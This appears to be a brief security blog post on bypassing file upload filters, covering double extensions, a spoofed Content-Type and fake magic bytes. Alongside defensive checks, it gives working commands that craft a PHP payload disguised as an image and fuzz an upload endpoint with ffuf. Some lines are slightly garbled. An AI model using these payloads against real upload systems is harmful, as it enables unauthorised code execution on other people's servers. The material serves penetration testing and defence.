Recently, a private bug bounty program revealed that classic file upload bypass techniques remain effective even in 2025. Attackers can still exploit double extensions and magic byte injection to bypass security filters. Here’s how it was done:
The Exploit
1. Double Extension Trick:
- Uploading a file with a name like `test.jpg[.]html` to trick the system into treating it as an image while executing it as HTML.
2. Content-Type Manipulation:
- Keeping the `Content-Type` header as `image/jpeg` despite the file being malicious.
3. Magic Byte Injection:
- Adding a JPEG header (
ÿØ) at the beginning of the file to spoof image validation.
You Should Know:
Manual Exploitation Steps
1. Crafting the Malicious File:
echo -e '\xFF\xD8\xFF\xE0<?php echo "Hacked"; ?>' > payload.jpg.php
2. Bypassing Client-Side Checks:
- Use Burp Suite to intercept the upload request and modify:
Content-Disposition: form-data; name="file"; filename="test.jpg.html" Content-Type: image/jpeg
3. Server-Side Validation Evasion:
- If the server checks file signatures, prepend valid magic bytes:
printf '\x89\x50\x4E\x47' > fake.png.php
Automated Testing with ffuf
ffuf -u "https://target.com/upload" -X POST -H "Content-Type: multipart/form-data" -F "[email protected]" -w extensions.txt -mr "success"
(Where `extensions.txt` contains `.jpg.html`, `.png.php`, etc.)
Defensive Commands for Admins
- Linux File Type Verification:
file --mime-type uploads/suspicious_file
- Windows PowerShell File Check:
Get-FileHash -Algorithm SHA256 uploads/suspicious_file
- NGINX/Apache Restrictions:
location ~ .(php|html)$ { deny all; }
What Undercode Say
File upload vulnerabilities persist due to weak server-side validation. Always:
– Verify Magic Bytes (xxd file | head).
– Use Allowlists (not blocklists).
– Randomize Uploaded Filenames.
– Isolate Upload Directories (no execution permissions).
Expected Output:
A successfully bypassed file upload leading to XSS or RCE, proving that legacy security flaws still haunt modern systems.
Prediction: As AI-driven security tools evolve, attackers will increasingly rely on old, overlooked vulnerabilities, making manual penetration testing even more critical.
References:
Reported By: Martinmarting Some – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
